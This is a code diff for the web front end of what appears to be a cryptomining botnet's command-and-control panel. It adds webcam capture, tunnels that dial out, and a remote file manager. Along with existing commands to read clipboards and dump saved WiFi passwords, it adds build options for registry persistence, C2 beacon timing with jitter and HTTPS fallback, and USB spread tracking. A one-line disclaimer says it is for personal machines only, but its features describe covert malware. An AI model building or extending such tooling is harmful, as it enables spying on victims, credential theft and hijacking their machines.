import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -333,6 +336,7 @@ export default function CruciblePage() {
|
||||
|
||||
// Tunnel URL state
|
||||
const [tunnelURL, setTunnelURL] = useState('');
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
@@ -346,6 +350,21 @@ export default function CruciblePage() {
|
||||
|
||||
const online = (a: Agent) => a.status === 'online';
|
||||
|
||||
const fmCommandResults = useMemo(
|
||||
() =>
|
||||
commandResults
|
||||
?.filter((r) => r.agent_id && r.action != null)
|
||||
.map((r) => ({
|
||||
agentId: r.agent_id as string,
|
||||
action: r.action as string,
|
||||
success: !!r.success,
|
||||
message: r.message ?? '',
|
||||
})) ?? [],
|
||||
[commandResults]
|
||||
);
|
||||
|
||||
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||
|
||||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||
const crucibleTargetReady =
|
||||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||
@@ -385,6 +404,12 @@ export default function CruciblePage() {
|
||||
|
||||
const msg = r.message ?? '';
|
||||
|
||||
if (r.action === 'tunnel_status' && r.success && msg) {
|
||||
if (selectedIds.size === 1 && selectedIds.has(aid)) {
|
||||
setTunnelStatusMsg(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// ── SSH badge updates ───────────────────────────────────────────────
|
||||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
@@ -396,7 +421,12 @@ export default function CruciblePage() {
|
||||
let richData: RichTermData | undefined;
|
||||
|
||||
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
|
||||
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
|
||||
if (
|
||||
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
|
||||
r.success &&
|
||||
msg.length > 200 &&
|
||||
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
|
||||
) {
|
||||
richData = { type: 'screenshot', b64: msg.trim() };
|
||||
}
|
||||
|
||||
@@ -1352,13 +1382,14 @@ export default function CruciblePage() {
|
||||
>
|
||||
Full Sys Check
|
||||
</button>
|
||||
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
|
||||
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
|
||||
<button
|
||||
key={cmd}
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title={{
|
||||
screenshot: 'Capture the desktop screenshot',
|
||||
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
|
||||
clipboard: 'Read the current clipboard contents',
|
||||
wifi: 'Dump all saved WiFi passwords',
|
||||
software: 'List installed programs',
|
||||
@@ -1539,8 +1570,8 @@ export default function CruciblePage() {
|
||||
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
|
||||
onClick={() => {
|
||||
const url = tunnelURL.trim() || '';
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Start Tunnel
|
||||
@@ -1669,6 +1700,16 @@ export default function CruciblePage() {
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
{singleSelectedAgent && (
|
||||
<div style={{ marginTop: '0.75rem' }}>
|
||||
<FileManager
|
||||
agentId={singleSelectedAgent.id}
|
||||
agentName={singleSelectedAgent.name}
|
||||
online={online(singleSelectedAgent)}
|
||||
commandResults={fmCommandResults}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* ── Shell type ───────────────────────────────── */}
|
||||
@@ -1811,12 +1852,41 @@ export default function CruciblePage() {
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">4</span>
|
||||
<div>
|
||||
<strong>Remote (via tunnel)</strong> — run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
|
||||
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{singleSelectedAgent && (
|
||||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
|
||||
<ProtocolTunnelPanel
|
||||
agentId={singleSelectedAgent.id}
|
||||
agentName={singleSelectedAgent.name}
|
||||
online={singleSelectedAgent.status === 'online'}
|
||||
caps={singleSelectedAgent.capabilities}
|
||||
platform={singleSelectedAgent.platform}
|
||||
compact
|
||||
lastTunnelStatusMessage={tunnelStatusMsg}
|
||||
busy={null}
|
||||
onDispatch={async (action, args) => {
|
||||
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: 'local',
|
||||
agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `${action} → ${singleSelectedAgent.name}`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
}}
|
||||
/>
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
<CreateGroupModal
|
||||
open={showGroupModal}
|
||||
agentCount={selectedIds.size}
|
||||
|
||||
@@ -21,6 +21,7 @@ import {
|
||||
} from '../components/Fleet/FleetPanels';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import ErrorBoundary from '../components/ErrorBoundary';
|
||||
|
||||
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
|
||||
@@ -421,6 +422,11 @@ export default function DashboardPage() {
|
||||
{/* Fleet Health — always above the fold */}
|
||||
<FleetHealthCard health={fleetHealth} />
|
||||
|
||||
<div style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(280px, 1fr))', gap: '1rem', marginBottom: '1rem' }}>
|
||||
<SpreadFunnelWidget />
|
||||
<AuditLogStrip limit={6} />
|
||||
</div>
|
||||
|
||||
{previewDeck && (
|
||||
<p className="preview-deck-hint font-tech" role="status">
|
||||
Projection mode — charts validated with sample telemetry until your fleet connects
|
||||
|
||||
@@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import type { BackupPool } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
|
||||
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { useVisualEffects } from '../context/VisualEffectsContext';
|
||||
import './Pages.css';
|
||||
@@ -85,6 +87,7 @@ export default function SettingsPage() {
|
||||
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
|
||||
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
|
||||
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
|
||||
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
|
||||
},
|
||||
server: {
|
||||
public_url: cfg.server?.public_url ?? '',
|
||||
@@ -680,7 +683,8 @@ export default function SettingsPage() {
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<h2 className="font-display">Alert Notifications</h2>
|
||||
<p className="section-desc">
|
||||
Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save.
|
||||
Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite).
|
||||
Set bot token + chat ID or webhook URL, choose what to send, then save.
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
@@ -693,6 +697,12 @@ export default function SettingsPage() {
|
||||
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
|
||||
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
|
||||
</div>
|
||||
<div className="form-group" style={{ gridColumn: '1 / -1' }}>
|
||||
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional)</label>
|
||||
<input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
|
||||
onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
|
||||
<p className="field-hint">JSON POST: event, title, message — on connect, offline, and other enabled alerts.</p>
|
||||
</div>
|
||||
</div>
|
||||
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
|
||||
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
|
||||
@@ -753,6 +763,13 @@ export default function SettingsPage() {
|
||||
<span>Forge completes successfully</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={config.alerts.notify_kev_exposure !== false}
|
||||
onChange={(e) => updateField('alerts.notify_kev_exposure', e.target.checked)} />
|
||||
<span>KEV exposure found on Full System Check (CISA top CVE heuristics)</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
|
||||
@@ -977,6 +994,12 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
<div style={{ marginTop: '1.5rem', display: 'grid', gap: '1rem' }}>
|
||||
<FleetTasksPanel />
|
||||
<AuditLogStrip limit={12} />
|
||||
</div>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -1 +1,9 @@
|
||||
import { vi, beforeEach } from 'vitest';
|
||||
|
||||
import '@testing-library/jest-dom/vitest';
|
||||
|
||||
beforeEach(() => {
|
||||
if (typeof Element !== 'undefined') {
|
||||
Element.prototype.scrollIntoView = vi.fn();
|
||||
}
|
||||
});
|
||||
@@ -77,6 +77,9 @@ export interface Agent {
|
||||
|
||||
hostname?: string;
|
||||
mac_address?: string;
|
||||
build_id?: string;
|
||||
worker_name?: string;
|
||||
usb_spread?: boolean;
|
||||
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
||||
latency_ms?: number;
|
||||
}
|
||||
@@ -95,6 +98,7 @@ export interface AgentCapabilities {
|
||||
auto_spread: boolean;
|
||||
process_hollowing: boolean;
|
||||
ai_enabled: boolean;
|
||||
usb_spread?: boolean;
|
||||
}
|
||||
|
||||
export interface Share {
|
||||
@@ -177,6 +181,7 @@ export interface ServerConfig {
|
||||
rvn_wallet?: WalletConfig;
|
||||
server: ServerSettings;
|
||||
alerts: AlertsConfig;
|
||||
tunnel_defaults?: TunnelDefaults;
|
||||
/** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
|
||||
default_agent_config?: AgentDefaults;
|
||||
/** @deprecated Legacy JSON only — not used at runtime. */
|
||||
@@ -204,6 +209,11 @@ export interface ServerSettings {
|
||||
sign_timestamp_url?: string;
|
||||
}
|
||||
|
||||
export interface TunnelDefaults {
|
||||
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */
|
||||
cloudflared_target_url?: string;
|
||||
}
|
||||
|
||||
export interface PoolEndpoint {
|
||||
host: string;
|
||||
port: number;
|
||||
@@ -260,12 +270,15 @@ export interface AlertsConfig {
|
||||
rejection_rate_threshold_pct: number;
|
||||
telegram_bot_token?: string;
|
||||
telegram_chat_id?: string;
|
||||
/** Operator webhook — JSON POST on fleet events (connect/offline). MITRE T1071.005 lite. */
|
||||
webhook_url?: string;
|
||||
notify_agent_connect?: boolean;
|
||||
notify_agent_reconnect?: boolean;
|
||||
notify_agent_offline?: boolean;
|
||||
notify_hashrate_drop?: boolean;
|
||||
notify_rejection_rate?: boolean;
|
||||
notify_build_complete?: boolean;
|
||||
notify_kev_exposure?: boolean;
|
||||
email_enabled?: boolean;
|
||||
smtp_host?: string;
|
||||
smtp_port?: number;
|
||||
@@ -335,6 +348,14 @@ export interface BuildRequest {
|
||||
/** Preset (ssh, ftp, chrome, …) or custom:C:\\path\\app.exe when run_as is host_binary */
|
||||
host_binary_target?: string;
|
||||
auto_start: boolean;
|
||||
/** Boot/logon autostart hooks (Windows). Empty = legacy HKCU Run when auto_start + run_as user. */
|
||||
autostart_mode?: string;
|
||||
/** Registry Run/RunOnce persistence (Windows, MITRE T1112-style). Enum or combined via checkboxes. */
|
||||
registry_persistence?: string;
|
||||
registry_run_hkcu?: boolean;
|
||||
registry_run_hklm?: boolean;
|
||||
registry_run_once?: boolean;
|
||||
registry_explorer_run?: boolean;
|
||||
persistence: boolean;
|
||||
process_name: string;
|
||||
max_cpu_usage_pct: number;
|
||||
@@ -397,6 +418,14 @@ export interface BuildRequest {
|
||||
rvn_pool_tls?: boolean;
|
||||
rvn_pool_pass?: string;
|
||||
rvn_backup_pools?: BackupPool[];
|
||||
// Connection profile — C2 beacon timing baked into agent
|
||||
beacon_interval_sec?: number;
|
||||
beacon_jitter_pct?: number;
|
||||
agent_kill_after_days?: number;
|
||||
/** HTTPS POST beacon when WebSocket is down (T1071.001 fallback). */
|
||||
https_beacon_fallback?: boolean;
|
||||
/** Minutes without WebSocket before HTTPS beacon (default 3). */
|
||||
https_beacon_after_min?: number;
|
||||
}
|
||||
|
||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||
@@ -469,6 +498,35 @@ export interface BlueprintInfo {
|
||||
data?: any;
|
||||
}
|
||||
|
||||
export interface AuditEntry {
|
||||
id: number;
|
||||
timestamp: string;
|
||||
username: string;
|
||||
action: string;
|
||||
agent_id?: string;
|
||||
detail?: Record<string, unknown>;
|
||||
}
|
||||
|
||||
export interface FleetTask {
|
||||
id?: string;
|
||||
name: string;
|
||||
enabled: boolean;
|
||||
trigger: 'on_connect' | 'on_reconnect' | 'interval_hours' | 'cron';
|
||||
interval_hours?: number;
|
||||
cron_time?: string;
|
||||
action: string;
|
||||
command?: string;
|
||||
target?: string;
|
||||
created_at?: string;
|
||||
updated_at?: string;
|
||||
}
|
||||
|
||||
export interface SpreadFunnelStats {
|
||||
by_build: { build_id: string; worker_name: string; count: number; usb_spread_count: number }[];
|
||||
new_connects_today: number;
|
||||
total_agents: number;
|
||||
}
|
||||
|
||||
export interface WSMessage {
|
||||
type: string;
|
||||
payload: import('./ws').WSPayload;
|
||||
|
||||
@@ -19,6 +19,7 @@ export interface FullSysCheckReport {
|
||||
patch?: SysCheckPatch;
|
||||
environment?: SysCheckEnvironment;
|
||||
neighbors?: SysCheckNeighbors;
|
||||
kev_exposure?: KEVScanReport;
|
||||
|
||||
raw_sysinfo?: string;
|
||||
raw_ipconfig?: string;
|
||||
@@ -117,6 +118,26 @@ export interface SysCheckEnvironment {
|
||||
install_dir?: string;
|
||||
}
|
||||
|
||||
export interface KEVFinding {
|
||||
cve: string;
|
||||
name: string;
|
||||
product?: string;
|
||||
severity: string;
|
||||
cisa_kev?: boolean;
|
||||
status: 'exposed' | 'likely' | 'clear' | 'n/a';
|
||||
detail?: string;
|
||||
}
|
||||
|
||||
export interface KEVScanReport {
|
||||
scanned_at: string;
|
||||
exposed_count: number;
|
||||
likely_count: number;
|
||||
critical_count: number;
|
||||
risk_score: number;
|
||||
summary?: string;
|
||||
findings: KEVFinding[];
|
||||
}
|
||||
|
||||
export interface SysCheckNeighbors {
|
||||
arp_hosts?: string[];
|
||||
subnet_scan?: string;
|
||||
|
||||
Reference in New Issue
Block a user